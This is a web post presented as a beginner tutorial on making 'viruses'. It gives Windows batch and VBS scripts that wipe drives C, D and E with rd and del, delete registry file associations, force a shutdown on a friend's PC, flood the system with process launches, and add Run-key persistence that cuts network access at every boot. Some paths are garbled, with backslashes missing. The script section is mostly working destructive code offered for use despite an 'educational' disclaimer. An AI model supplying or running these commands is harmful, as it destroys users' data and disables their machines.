How to create a Computer virus??





 If you are the beginers here are some easy coded viruses... try it safely. 
These viruses are batch files. and we will type it in notepad. 
Let’s get started. 

How to make a virus ? 
1. Open Notepad 
2. write these codes are given 
3. Save it as name.bat (name ie anything but .bat extension should be must) on desktop Done 
Note-; This is for an educational purpose dont use it to harm other 
Try at your own risk i willnot be responsible for the thing  that happens to your pc

A. This Simple Virus formats windows drives in less than 5 seconds
Only D,E And C drives. 
rd/s/q D:\
 rd/s/q C:\ 
rd/s/q E:\ 

B.Deletes everything in the computer’s drive. 
@echo off 
del D:\*.* /f /s /q 
del E:\*.* /f /s /q 
del F:\*.* /f /s /q 

C.Deletes everything stored in registry
@ECHO OFF START 
reg delete HKCR/.exe 
START reg delete HKCR/.dll 
START reg delete HKCR/*

 D.Send your friend a little message and shut down his computer.
@echo off 
msg * Lets Roll Baby 
shutdown -c “Error! Your ass got glued!” -s 


E. Crash Puter:-
 This is simple virus that crashes the computer – [Save As Anything.VBS] 

Option Explicit 
Dim WSHShell 
Set WSHShell=Wscript.CreateObject(“Wscript.Shell”) 
Dim x 
For x = 1 to 100000000 
WSHShell.Run “Tourstart.exe”
 Next 

F. This virus disables the internet forever. 
echo @echooff>c:windowswimn32.bat  echo breakoff>>c:windowswimn32.bat echoipconfig/release_all>>c:windowswimn32.bat 
echo end>>c:windowswimn32.bat 
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v  WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f 
 reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f  echo 
You have maxed your internet usage for a lifetime